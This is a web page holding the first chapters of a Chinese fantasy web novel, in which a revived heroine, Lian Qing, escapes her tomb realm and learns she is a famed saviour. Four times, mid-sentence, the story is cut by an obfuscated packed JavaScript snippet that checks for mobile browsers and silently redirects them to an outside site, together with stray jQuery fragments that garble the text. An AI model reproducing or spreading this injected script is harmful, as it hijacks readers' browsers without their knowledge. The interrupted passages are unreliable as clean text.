《拯救世界以后》
1. 长命锁
“连青?”
“连青!”
一连两声抑扬顿挫的“连青”,将意识陷入沉眠的少女强行唤醒。
连青压下身体传来的几分不适,目光涣散地望向对她大声说话的那人。
那人身着水绿色交襟长裙,款式朴素简单,胸前垂挂一把精巧的金锁,锁上刻着一个字。
连青没有特意抬高视线,故而此时目光第一时间便落在那把锁上。
那是一个“云“字。
连青还没来得及深思,便觉脑袋落下一记不轻不重的手拳。
“连青,你到底有没有听见我说话?”绿裙女子的声音充满恨铁不成钢,还有些不可言说的无奈,“快保证下次绝不再以身冒险,听见没有?”
连青心想你哪位,这样和我说话?
可很快她的右手便不受控制地举起,嘴巴讨嫌地保证:“我发誓,下次还会。”
连青:“……”
怎么回事?
她皱起眉,想动动不了,不耐地抬起眼皮,却在看见对方一团模糊的脸时顿住,眼前宛若蒙了一层若隐若现的纱,无法窥见绿裙女子的真实面容。
连青用力眨了几下眼睛,仍旧无法看清她的脸。
绿裙女子被她知错不改又死不认错的态度气到,可偏偏拿她无可奈何,气得原地跺脚,转头将怒火发泄到旁人身上:“燕一枝,你看你这些年把好好的小孩给养成了什么样!”
小孩?什么小孩?
燕一枝又是谁?
连青感到莫名其妙,顺着绿裙女子的视线看过去,只看见一团瘫坐在椅子上的藏蓝色人影,朦朦胧胧的,和绿裙女子一样都看不清脸,但能看见此人垂下的衣摆打了几个破烂的补丁。
一个穷逼。连青面无表情地想。
藏蓝色人影强行抱起一只试图挣扎的黑猫往椅中瘫了瘫,强词夺理地反驳道:“我这些年风里来雨里去辛辛苦苦把她养大已经很不容易了,你还指望我能把她养成大家闺秀?再说了,她这狗倔狗倔的性格绝对是娘胎里带出来的,跟我可没有半毛钱关系,我才不背这锅。”
连青无法掌控这具身体的言行举止,只能点头附和道:“倔是娘胎里带出来的,狗是因为近朱者赤近墨者黑,近燕一枝者狗。”
藏蓝色人影猛地弹起,一手抱猫,一手猛戳她脸,气道:“连青你长嘴除了吃饭就是专门在外人面前拆我台吗?我这些年喂你的饭都喂了狗吧!”
“连青”点头:“对,喂了你。”
藏蓝色人影:“……”
绿裙女子噗嗤笑了出来,很快又双手环胸,严肃地打断他们的对话:“你们不要在这里给我转移话题,真当我不知道这次是你们一起去的群魍山?燕一枝,你也别装死,连青都受了不少伤,你身上的只会比她多不会少,你以为换身衣裳我就看不出来了是吧?”
藏蓝色人影重新瘫回去,抬头望天,假装什么都没听见,黑猫趁机从他怀中逃出,并在他手背狠狠留下三道杠。
一人一猫闹得不可开交。
连青冷眼旁观这么久也算看出了点门道,她大概被困在了某个人的梦里,这人多半也叫“连青”。
她能清晰地感知到这些画面,却无法控制这具身体做出属于自己的反应,毕竟这是别人的梦,应当也是梦主人的某段回忆,已经发生的自然无法改变。
于是果断放弃,选择暂时静观其变。
她刚这么想着,眼前画面便骤然一转,待她从晕头转向中回过神时,目光所落之处已是绿裙女子模糊一团的脸上。
“连青”似乎长高了,已经能和绿裙女子肩对肩并排站,绿裙女子穿的也不再是水绿长裙,而是一身轻便的深绿色窄袖短打。
“小云姐,你戴了二十多年的那把小金锁呢?”连青听见自己说话的声音,目光随着话音而落到绿裙女子的身前,那里之前还挂着一把金锁。
绿裙女子轻轻啊了声,摸了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706049|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摸空落落的脖子:“送人了,就昨天你从群魍山救出来的那个小孩儿。”
“怎么给她了?”
熟悉的藏蓝色人影突然闯进连青视野,他也长高了,连青甚至需要仰头才能看见他糊糊的下巴。
不过即使过去多年,这人的衣裳依旧左一块补丁右一块补丁,浑身上下都散发着一股没钱的气息。
还是个穷逼。连青想。
藏蓝色人影用胳膊肘碰了碰连青,嘀嘀咕咕:“不如给连青,她前段时间做梦都喊着要平安锁。”
梦里的“连青”狠狠踩他一脚:“我才没有想要小云姐的平安锁,燕一枝你不要胡说八道。”
藏蓝色人影不知被她踩过多少次才能提前预知般连续完美闪避三次,同时面不改色道:“你知道凭我们俩这个破财命,要攒多少年才能攒够钱买一把纯金的金锁吗?”
他加重语气道:“下辈子!”
“连青”踩不到他,索性也不白费力气了,停下呸他:“我才不需要你给我攒钱,再过几年,我自己就能攒够钱买平安锁了。”
“你背着我藏私房钱?”
“你不也是?燕一枝,你别以为我不知道你这两个月经常偷偷出去接特别危险的私活,还攒了好几颗小金豆,我都看见了。”
“我那是要给你买……”
话音到这里戛然而止,一只串在七股编织红绳上的金锁静静垂坠在二人之间。
藏蓝色人影逆光而立,不再言语。
连青的目光也彻底黏在那只半个巴掌大的金锁上,熠熠生辉的金锁正面刻着一个小小的“青”字。
绿裙女子将红绳挂在连青脖子上,金锁乖乖贴着胸口,安静得像连青此时的呼吸。
绿裙女子摸摸连青的脑袋,笑道:“平安锁太小了,我们连青应该戴长命锁。”
“要长命百岁啊连青。”她说。
可连青没能长命百岁。
她死于十九岁春。
2. 第一章
“咚!”“咚咚!”
什么声音?
“咚咚!咚!”
好吵。
节奏愈发激昂的撞击声一声高过一声,坚持不懈地唤醒棺材中沉睡的人。
连青从梦中醒来,眼神还没彻底聚焦,率先映入眼帘的便是一张放大的陌生面容。
两双眼睛对视足足三息,上方的脸主人火速撤回一张脏兮兮的花猫脸,一跳三尺远。
“诈尸啊!师兄师姐救救我救救我!”
花猫脸吱哇乱叫着从乾坤袋里乱掏法器,意外带出一根包在朱砂符纸里的烤鸡腿,顺手甩飞老远。
鸡腿啪一下砸进棺材,正中连青额头,留下浓郁香气。
连青:“……”
“咕噜”。
不争气的肚子竟在此时发出叛逆的抗议。
饿得头晕眼花的连青拎起脑门上那根裹着朱砂纸的鸡腿,有气无力地盯了片刻。
两丈外,花猫脸还在疯狂翻乾坤袋里的东西,都快翻到底了也没找着终极保命法器,正急得满头大汗时,忽地听见一道虚弱嘶哑的女声。
“还有吗?”
花猫脸下意识抬起头,看见一张苍白的脸缓缓从棺材里升起,正是诈尸的那只女鬼。
女鬼双手虚扶着棺材边儿,朝她点了点头,说话还有点不太利索:“你好,鸡腿,还有吗?”
花猫脸:“?”
鬼也喜欢吃鸡腿?
而且还怪有礼貌的。
花猫脸迟疑着点了点头,又摇了摇头,有点警惕心,但不多,小心翼翼回道:“鸡腿没了,但还有一条烤鱼,你要吃吗?”
女鬼给她的回答是当场从棺材里爬了出来。
花猫脸尖叫着乱甩镇邪符纸:“你不要过来啊!!”
十二三岁的少女嗓音十分尖利,喊叫起来控制不住音量,回音在这片狭小的空间内荡来荡去,起起伏伏起起起起起。
连青摁着刺痛的耳朵,转头盯向漫天乱窜的符纸,试图从里面找到那条烤鱼。
她太饿了。
连青不知道自己究竟在棺材里躺了多久,但以现在的饥饿程度来看,倘若面前还有根草她都能拔出来生吃了。
然而即便此时她已经饿到快要灵魂出窍,面对花猫脸的无差别“攻击”,身体仍旧出于本能挨个接住飞舞的符纸,手指将这沓纸一一理齐,甚至连边角的褶皱也给一并抚平,顺便抽空提醒花猫脸:“烤鱼,谢谢。”
紧接着,一条串在袖珍小剑上的烤鱼便被甩飞到她眼前。
连青眼疾手快握住剑柄轻轻旋了个弯,将之带回自己身前,没让烤鱼因为惯性被甩飞出去。
虽然鱼已经凉了,味道有点儿腥,但撒在上面的调料充足,一口咬下去炸得舌尖发麻,令人唇齿生津。
一条鱼吃完,连青意犹未尽地看向不知何时安静下来的花猫脸。
花猫脸龟缩在一只散发着光芒的透明金钟里,稚嫩的脸上满是松了口气的安心。
这只硕大的金钟是师姐留给她的终极保命法器,即便是太阴境和太阳境的修士,十天之内也无法打破,故而师姐给它命名龟缩钟。
名字虽然难听了点,但好用就行。
待在龟缩钟里的花猫脸安全感满满,见连青三两下便吃完那条因厨艺放出大失败而被关了三天乾坤袋禁闭的烤鱼,忍不住伸长脖子询问道:“你……是饿死鬼吗?”
连青思考片刻,认真点头:“我是。”
花猫脸立马缩回脖子。
连青:“骗你的。”
花猫脸:“?”
连青歪头吐舌:“其实我是吊死鬼。”
花猫脸:“???”
连青想了想,松开手,宽容道:“当然我也可以是讨债鬼,替死鬼,溺水鬼,看你喜欢。”
花猫脸:“……”
她哪种鬼都不喜欢。
这人就是故意逗她的吧!
花猫脸愤愤的表情逗乐了连青,她将袖珍小剑和符纸腾到左手,右手拎起自己破破烂烂的衣摆,语气沉重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706050|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“不过,我应该是个穷鬼,这回真没骗你。”
花猫脸顺着她的动作看向那截竹青色衣摆,上面打了三块巴掌大的补丁,连左右两边的束袖也乱七八糟地缝了不少。
与其说是补丁,不如说她这身衣裳就是拿好几块碎布随便缝在一起的。
穷成这样的鬼还真不常见。
啊不,是人。
但是谁家正经人会在棺材里睡觉啊。
“你是活人?”花猫脸狐疑地上下打量她道,“活人怎么会睡在死行秘境的棺材里?”
死行秘境?
这名字有点耳熟。
连青若有所思地看了眼对面那口黑白双色的阴阳棺,不知出于什么心理上手摸了一圈,微微低下头时,长发微遮的侧脸浮出几分伤感。
花猫脸以为她想到了某些伤心事,正犹豫着要不要安慰她时,便听她语气悲怆地开口。
“又硬又干。”
“还是死木。”
“不能生吃。”
花猫脸:“……”
不能生吃,难不成你还想烤着吃?
别狡辩了,你必是饿死鬼!
连青其实也不大能确定自己现在还是不是个活人,但她当然不会承认。
活人的福利显然比死人要好。
“你方才说的死行秘境是什么?”她岔开话题,边往龟缩钟那边走,边抽出一张镇邪符纸,漫不经心擦拭着袖珍小剑上的烤鱼油渍。
花猫脸正趴在钟壁上盯着她擦剑的手出神,闻言,神情怪异地抬起头:“你真不知道死行秘境?”
连青挑眉:“死行秘境是什么通用货币吗?每个人都要知道它?”
花猫脸愣了下。
“当然,如果你非想让我知道的话,也不是不行。”连青面不改色地胡说八道,“毕竟,我从不拒绝别人的好意。”
说完便将花猫脸“送”的镇邪符纸往怀里一揣,再将刚擦干净的袖珍小剑往腰上一别。
现在这些东西都是她的了。
3. 第二章
在连青身体力行地诠释了一番什么叫做“从不拒绝别人的好意”之后,花猫脸陷入了长久的沉默,而后几次张嘴,欲言又止。
最终只憋出一句话:“现在我相信你是活人了。”
毕竟死人和邪祟都没这么不要脸。
如果她真的是活人,那可就不得了了。
花猫脸迅速转动脑筋,分析清楚眼下局势后立马转变态度道:“方才你问我什么是死行秘境,我可以告诉你,不过,你也要回答我一个问题。”
“行啊。”连青想也不想便应了,“你先说。”
花猫脸也很爽快道:“死行秘境是修者修行之初便会接触的东西,就像孩童的启蒙书籍多为《三字经》,正经修者的修炼启蒙多半也是死行秘境。
“只是和作为书本的《三字经》不同,死行秘境其实是修者自建的坟墓。
“大多修者死后肉身全消,却也有一些心怀大义的修者选择在濒死之际抽出全部灵力,造出一个属于自己的死行秘境,待死后尸体便会被吸入秘境,之后秘境门关闭,只等有朝一日有缘人再次打开它。
“届时,前辈们留在秘境中的法器符纸和其他秘宝,皆由后人随意取用。”
得之先人利,还之后人利,这便是每一位修者入道时所上的第一课。
说到这,花猫脸停下,特意偷眼观察着连青的神色变化。
连青对她偷偷摸摸的试探视若无睹,反倒颇觉有趣地笑了下:“你的意思是,这个秘境是我的坟墓,而你则是我的有缘人?”
花猫脸眼神闪了下:“算,算是吧。”
连青了然:“懂了,你是偷渡进来的。”
花猫脸面色一僵。
连青:“而且还是来盗宝的。”
花猫脸立即摆手否认:“我没有!”
连青微笑:“因为我太穷了,你盗无可盗。”
反而被她捞了一笔。
短短几句话戳得花猫脸心口直疼,她觉得这位穷鬼前辈入棺前一定不会是无名之辈,凭她这张杀人无形的嘴和嚣张又自信的脾气,在外面得罪过的人绝对只多不少。
恶名也是名,总之绝不会是泛泛之辈。
花猫脸努力辩解道:“我天生五灵根,和每一个死行秘境契合度都很高,所以经常会误入前辈们留下的秘境。”
她格外强调:“这次也是被强拉进来的。”
换句话说,是连青的死行秘境先瞧上了她,非把她拉进来捡漏宝贝的,结果没想到直接给她捡着个大活人。
大活人连青关注的却是另一个点:“你去过很多个秘境,那白捡来的宝贝应该也不会少。”
她盯向花猫脸的乾坤袋,幽幽道:“一定都很值钱吧?”
花猫脸急忙捂紧自己的乾坤袋,后背紧紧贴着龟缩钟,内心十分后悔。
千算万算,没算到这个秘境的主人竟是强盗作风,本来想捞一笔,结果可能要被反捞啊。
龟缩钟虽好用,可十天之后便会自动收起,若这位前辈非要在这里跟她耗上十天,那可就完了呀,毕竟就凭自己这点只能和猫狗打成平手的修为,根本不够看。
“前辈,您曾为后人留下这死行秘境,想必也是心怀大义之人,又怎会贪图小辈这一点蝇头小利,您说是吧?”
花猫脸试图自救,奈何连青这个穷鬼从来就不知道“心怀大义”这四个字怎么写:“我若当真心怀大义,又怎会不给有缘的后辈留下些宝贝?”
花猫脸:“话也不能这么说,说不定您留了,只是被先来的有缘人捡走了呢。”
连青对自己的曾经的品性相当有自信:“那他们捡走的多半是空气。”
花猫脸心想我捡到的也是空气,哦,还有一个趁火打劫的前辈。
连青围着龟缩钟走了半圈,伸手抚摸着钟壁,贪心道:“我瞧着你这金钟也挺不错。”
“前辈!!”
虽说太阴境与太阳境之下的修者奈何不了龟缩钟,可若是太极境的大修,那可就说不准了。
花猫脸无法探知连青的修为,但她不太敢赌,她觉得这位前辈和她以前见过的前辈们很不一样。
她体内那五根向来谁也不服谁的傲气灵根,自打进入这个秘境,便安静得像五只龟缩在老母鸡翅膀下的小鸡仔,连个头都不敢露。
“好啦好啦,跟你开玩笑呢,小朋友太好骗,没有成就感。”
连青收回手,绝不承认她确实对这只金钟有那么点微妙的兴趣,话锋一转,好似随口一问:“你之前说你是五灵根,契合所有死行秘境,每个五灵根的修者都这样?”
花猫脸现在已经无法确定她哪句话是真,哪句话是假,被小小地玩弄了一通也不大敢抗议,只能小声叽哩哇啦了几句自己才能听懂的东西,心平气和地哄好自己后才不情不愿地回答她的问题。
“我不知道是不是每个五灵根的修者都这样,不过就我所知,目前整个五方洲,五灵根应该只有我一人。”
一百年前倒是还有一人,只是那人早已离世,所以外面也常有人说五行灵根百年一现。
“前辈你问这个干什么?”花猫脸嘴快多问了这么一句。
连青摸摸肚子,叹气:“为了不被饿死。”
花猫脸心想这个问题和饿不饿死有什么必然关系吗。
连青无视她的疑惑,闭目内视了一圈体内灵台上长了一圈的五根灵根,暗自琢磨着等出去后若是短期内搞不到钱,就去挖其他修者的坟……死行秘境。
“那么,现在来说说,要怎么样才能离开这个秘境。”连青睁开眼,一派悠然地敲了敲钟壁,仿佛敲在了金山银山上,爱不释手地又敲了几下,“你去过那么多死行秘境,总该知道要如何离开这里吧。”
花猫脸盯着她白惨惨但明显不怀好意的脸,默然半晌,诚实道:“我不知道。”
“你不知道?”
花猫脸表情纠结,含糊道:“那之前也没见过秘境主人还能死而复生的,前辈你真是千古第一人。”
千古第一人的连青并不觉得这是什么好事。
花猫脸说死行秘境出去的方法很简单,就是在秘境里各种闯关解谜捡宝贝,最后找到秘境主人的棺材,打开棺材后秘境主人的尸身便会消散,秘境自然就崩塌了。
也就是说,秘境主人的尸体才是打开秘境之门的钥匙。
听完后,连青也沉默了。
她能怪自己因为没死透而害得自己出不去这个破秘境吗?
当然不。
连青遇事从不反省自身。
“没有第二种解决办法?”她转头问花猫脸。
花猫脸肯定地点头:“《死行秘境常识手册》里只有这一种出去的方法。”
“那一定是你们的常识手册记录得还不够完善。”
连青抬头环顾一圈,心中略有些疑惑。
按照花猫脸所言,死行秘境的主人可以随意捏造秘境内的东西,就算是捏出一座城都不在话下。
而她自己的死行秘境却有点奇怪,地面是一个硕大的太极阴阳图,天空则是缓慢旋转的四象八卦图,远远看着有点像夜晚的星星。
不知道她临死前为何要给自己捏出这么一个死行秘境。
虽然目前想不起来其他东西,但看见这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706051|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些阵法图形,倒是下意识知道该如何做。
天地阴阳,乾坤倒转,五行相生,五行亦相克。
世间万物,多是如此。
连青取出怀中那一沓还没捂热的镇邪符纸,偏头看向金钟内的小孩,微微一笑道:“今天之后,也许你们的《死行秘境常识手册》应该再新增一条。”
花猫脸张口,刚想问应该新增哪一条,便见这位穿着破烂的青衣前辈随手将那沓镇邪符纸抛出,接着双手结印,一道复杂神秘的青色咒痕自她指下飞出。
“巽风。”
漫天飞舞的符纸被散开的咒痕一一抓住,竟井然有序地飞向四面八方,触及空中陈列的四象八卦后便牢牢吸附其上。
“坤地。”
大地震动,四分五裂,龟缩钟被凸起的地面顶向高处。
“艮山。”
裂开的大地化作巍峨的驼峰,气势凛然地带着渺小的两人直冲凌霄。
“乾天。”
虚无的空间仿佛受到外部的重击,天空不堪重负,被挤压出一道裂缝,接着是第二道,第三道……噼里啪啦的碎片如流星般簌簌下坠。
“离火。”
吸附在卦象上的数十张符纸倏然爆发出无数火光,连同卦象一起将下坠的碎片燃烧殆尽。
一线天光自高空倾泻而下,如星河瀑布,撕裂开的口子逐渐被星光填满。
万物之息扑面而来。
花猫脸被眼前突然发生的一切吓懵了,等她再回过神时,已经被一阵风虚扶着安稳落地。
她有点腿软地后退两步,难以置信地望着面前那道青衣身影,喃喃自语。
“《死行秘境常识手册》应该再加一条,秘境主人若是死而复生,自可强开秘境。”
连青拍拍微脏的衣角,回头看她:“这条消息应该算独家版权,能卖不少钱吧?”
花猫脸:“……”
这会儿还能想着赚钱,前辈您可真是爱财有道啊。
“至少一千两。”花猫脸抹了把脸,斩钉截铁道。
与此同时,东南西北四方同时亮起四道颜色各异的光柱,重重叠叠的锁链缠绕着光柱,如游龙般蔓延至天际,黑夜被突如其来的光芒点亮,低沉压抑的闷响久久萦绕在五方洲大地。
东方。
一只脖戴金锁的黑猫忽地睁大猫瞳,费力支撑起身体奔向那道绿色光柱,嘴角被撕裂的伤口已经停止流血。
“喵呜!”血又流了下来。
南方。
一名白发女子停下脚步,抬头凝视着远方那道金色光柱,背在身后的双剑剑柄悬挂着两枚旧旧的剑穗,正在随风轻晃。
西方。
头发蓬乱的疯子被人一脚踹翻在地,脸朝地趴在泥泞的水坑里,浑身上下肮脏不堪,唯有瘦骨嶙峋的手腕戴着一根干净却陈旧的红绳。
发丝缝隙中,一只浑浊的眼睛正麻木地盯着远方那道蓝色光芒。
“哈哈,去死吧。”疯子重复着曾说过无数遍的那句话,“都去死吧。”
……
连青恍惚间似有所觉,抬眸望向北方那道赤色如火的光柱,心口不知为何悄然动了一下。
“对了,前辈,刚才在秘境里你说过会回答我一个问题的。”花猫脸在她眼前用力挥手,试图吸引她的注意力。
连青慢悠悠回头瞧她:“有这回事?”
花猫脸垮着脸:我就知道有人良心大大的坏!
连青笑:“好吧确实有,你想问什么?”
花猫脸立即眉开眼笑,定了定神,小心翼翼地用起了敬称:“前辈,您叫什么名字啊?”
4. 第三章
三天后,中洲逐云楼。
人来人往的大厅角落坐下两道低调的女子身影,一个高个儿的身着短罩长袖的青衣,一个矮个儿的身着鹅黄长裙。
那位青衣女子闲闲翻着菜单,每翻一页便要点上两道招牌菜,菜单在她手中哗啦哗啦地翻页。
黄裙少女不仅没有骂她点这么多若是吃不完肯定要浪费,反而殷勤地替她端茶倒水擦凳子,嘴里还在劝说:“前辈,这才十二个菜,够不够吃?不够咱们再点!逐云楼可是五方洲出了名的食楼,您这么多年没好好吃饭,今天一定要吃个饱。
“等吃完逐云楼,我再带您去吃其他四大洲的特色菜,争取把您这些年没吃上的美味全给补上!”
没等青衣女子回答,厅中便有人突然敲响酒杯吸引了众人注意,角落里这两位自然也看了过去。
“你们都听说没,连青君可能要死而复生了!”
话音刚落,满座哗然。
“谁?谁死而复生?”
“你骗鬼呢,连青君都死了一百年,尸体估计都化成了灰,怎么可能死而复生?”
“难道是借尸还魂?”
“你当看话本子呢还借尸还魂?若真能借尸还魂,五方洲不得彻底乱套了吗?谁不想死而复生?”
“可是,那是连青君啊……”
楼内霎时一片寂静,似乎“连青君”这个人对众人而言是无所不能的。
“是啊,那可是连青君。”有人轻轻叹息。
这一声如墨入水,很快便有人陆续加入进来。
“过去三百年间,五洲大地不知被那些从天地裂缝中钻出来的邪祟祸害死了多少人,前人更是填进去无数条命,可仍拿那四道天地裂缝无可奈何,毕竟邪祟穷出不尽,人命却有时尽。”
“若非百年前连青君横空出世,以特殊命魂为祭向天道借来天罚锁重重封印住那四道天地裂缝,灭世灾祸早就吞噬了整个五方洲,哪还有咱们如今这歌舞升平的好日子?”
“哎那个谁,你听谁说的连青君死而复生?这消息真的可信?”
“至少八成可能性。”最开始敲酒杯那人一脸神秘道,“三天前,那四道突如其来的光柱你们都看见了吧?据诛邪司的人调查,那四道光柱对应的位置正是被封印的四道天地裂缝。”
“这个我倒是有听说,不过也有很多别的猜测,还有的说裂缝中被封印的那四位邪祟之主即将破开封印卷土重来,你如何确定就是连青君死而复生?”
“因为连枝剑!”那人拍着桌子激动道,“诛邪司中有一朝天阁你们都知道吧?朝天阁顶楼供着连青君生前所用的那把连枝剑,而连青君离世的这百年来,失去主人的连枝剑从未有所动静。偏偏三天前那个夜晚,连枝剑震动不止,甚至差点脱鞘而出!”
“真的假的?说得跟你亲眼见到了似的。”
“我没见到,但我有朋友在诛邪司任职,那天晚上连枝剑发出的动静,几乎整个诛邪司的修者们亲眼所见。你们若是不信,这几日且看着吧,诛邪司的人定瞒不住这么大的动静。”
楼中人七嘴八舌地各种猜测,唯有角落那两位埋头苦吃。
魏晴云,也就是花猫脸,洗净脸后又是一个漂亮机灵的活泼少女,边扒拉着饭碗边朝连青身边凑,用碗挡住嘴巴,压低声音道:“前辈,您听见了吧,我可真的没骗您,您就是咱们的救世主。”
连青装聋作哑地干完了一条鱼,甚至没有剔刺。
魏晴云注意到后眼睛顿时瞪大了,提壶倒水,关怀三连问:“前辈,您真的不觉得噎吗?需要灌点水吗?嗓子真的没被鱼刺卡住吗?”
连青面无表情往她嘴里塞了根鸡腿,看着她那双依旧扑闪扑闪的亮晶晶眼睛,心中颇觉惆怅。
三天前,这只花猫脸问了她的名字,恰好连青醒来后除了名字和打架招数外,其他都不记得了。
于是,在得知她叫“连青”后,花猫脸瞬间像变了个人,对她各种吹彩虹屁,还说什么她是整个五方洲的救世主。
连青心想她就睡个觉的功夫,怎么就成拯救世界的救世主了?这帽子太高,她戴不住,也不大想戴。
在这之后,不论连青怎么恶趣味逗魏晴云,她都一副“前辈说什么就是什么我全听前辈的”。
如此逗了两三次,也没意思了。
连青刚从坟墓里爬出来,既没有关于这个世界的记忆,也没有钱,前两天借了魏晴云十文钱买了本《修炼入门手册》,翻了半宿,最后发现自己居然成了半个残疾修者。
手册上说,正常修者后脊一共有八节灵骨,分别对应“乾、兑、离、震、巽、坎、艮、坤”,每修满一节,对应的灵骨便会盈满灵气,等修满后便会点亮体内的属性灵根,继而是灵根所驻扎的太极灵台。
每位修者的太极灵台中都蕴有一颗灵元,只有修至太极境,这颗灵元才能自主运转,吸收杂气,转换灵气,几乎等于某种可以无限使用的循环装置。
而若是缺了最初级的灵骨——但凡只少一节,这辈子都别想修至太极境,等同于修炼生涯直接废了。
看完手册的连青当晚连饭都吃不下去了。
因为她内视一圈后发现,她的灵骨少了整整三节!
不仅少了灵骨,就连太极灵台上的那颗灵元也莫名其妙变成了半颗!
所以说,她只是睡了一觉而已,为什么醒来后不仅拯救了世界,还丢了三节重要的灵骨和半颗更重要的灵元?难不成她拿自己的灵骨和灵元去拯救的世界?
若是她想办法把丢失的灵骨和灵元找回来,那这个世界还能继续这般平静宁和吗?
连青愁了一顿饭的功夫,而后又看开了,毕竟这世上叫连青的人肯定不止她一个,她上次做梦还梦到了一个,也许拯救世界的是梦里那个连青。
反正她不认。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706052|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>至于今日为何会来到中洲,主要还是因为一个字。
穷。
没办法,身无分文,实在寸步难行。
魏晴云说只要去中洲的诛邪司做个登记,给《死行秘境常识手册》新增一条常识,就能拿到至少一千两的奖励。
这不比挖坟来钱更快?
于是两人便一拍即合,一路逛来了中洲青君城,进了逐云楼,又听了一堆“连青君”的八卦。
以及,魏晴云说“青君城”之所以叫“青君城”,也是为了纪念连青君。
连青现在已经听不得“青”这个字了,更听不得魏晴云老在自己耳边叭叭叭个不停“连青君”的光荣事迹。
她暗自琢磨,吃完饭就去诛邪司等登记部的修者上工,拿到一千两后分魏晴云一半,自己留一半,然后她就立即离开此地。
“长命!长命!”
就在这时,楼外忽然传来一阵骚动,数名穿着白衣绣青竹纹的修者从远处疾行而来,并且都沿街叫喊着同一个名字。
不知这个名字有何魔力,凡是听见的过路人,都会不约而同地起身走向犄角旮旯喊着“长命”,连一个花盆都要掀开看看。
很快,整个逐云楼便只剩下连青和魏晴云两人还坐在原位干饭。
连青看了看左手边弯腰朝她桌底喊“长命”的紫裙姑娘,抬头和魏晴云对视片刻。
魏晴云摇头,表示她也不知道这是怎么回事,她以前没来过中洲,不知道中洲的人为什么都这么神经兮兮。
反而是喊完“长命”后便直起身的那位姑娘看出了两人的疑惑,主动坐下搭话道:“两位以前没来过中洲吧?”
连青面不改色点头:“见谅,家里穷,今天是第一次从进城。”
紫裙姑娘了然,知道她言下之意是想问“长命”,便解释道:“长命是一只白色的珠鸟,翅膀和眼睛曾受过很严重的伤,是连青君救了它,并给它取名长命。
“连青君走后,司主便收养了长命,长命幼时调皮得很,最喜欢和人玩捉迷藏,它胆子又大,哪里都敢藏。
“这一百年来,长命早已变得稳重可靠,也许是活得太久,大限将至,这两年长命突然像是回光返照,再次变得如同幼时那般爱玩捉迷藏,有时一藏就是一两天,不吃也不喝,大家都怕它出事,所以每每遇到这事时便会全城出动一起寻找长命。”
紫裙姑娘叹息道:“也许,长命只是想再和连青君玩一次捉迷藏,可这世上哪里还有第二个连青君呢。”
魏晴云到底年纪小,短短几句话便听得感动不已,泪眼汪汪,当即便要加入寻找长命大军,还要拉着连青一起,同她咬耳朵道:
“前辈,那毕竟是你养过的灵宠,你听见刚才那位小姐姐说的吗?长命大限已至,偏偏你在这时死而复生,这不就是想让长命在生命的最后一刻再见你一面吗?连天道都想给长命一个圆满,你觉得呢?”
5. 第四章
连青觉得这顿饭再不吃就要凉了,凉了就不好吃了。
尤其面前这道炸桑叶,应该是用蛋液裹着桑叶放进油锅慢慢炸出来的,金黄翠绿的色泽让人食欲大振,再加上都是现摘的新鲜桑叶,入口清香脆甜,堪称唇齿留香。
对太久没吃过东西的连青来说,眼下美食大于一切。
魏晴云急死了,疯狂朝她使眼色:前辈,您真的如此铁石心肠,连曾经养过的灵宠也不肯见最后一面吗?您就真的忍心让它心怀遗憾逝世吗?
连青对她那道焦急且暗含谴责的眼神视若无睹。
她又不是那个救世主连青,何必上赶着去给自己找麻烦。
一旦“连青君死而复生”这个消息传出去,她固然能凭借“救世主”的身份得到不少好处,可相应的也会有更多的麻烦在等着她。
毕竟,死去的救世主才是最好的救世主。
旁边的紫裙女子虽不知晓连青的身份,可见她明明听了长命的故事后却依旧一副事不关己的漠然态度,心中多少有些不悦,只是毕竟萍水相逢,她并没有立场去指责对方。
故而很快起身离开,连声客气的招呼也没打,显然不太看得上连青这种丝毫没有同理心的人。
魏晴云张张嘴,想说什么,触及连青眼底的冷漠,遂讪讪闭上了嘴,心中不免嘀咕是不是自己真的搞错了,万一她真的不是那个连青君呢?
传言中的连青君心地善良,温柔可亲。
眼前这位连青君心黑嘴毒,视财如命。
真是没有一点相像的地方。
魏晴云越想越是不自信,于是一顿饭就这么在沉默中结束。
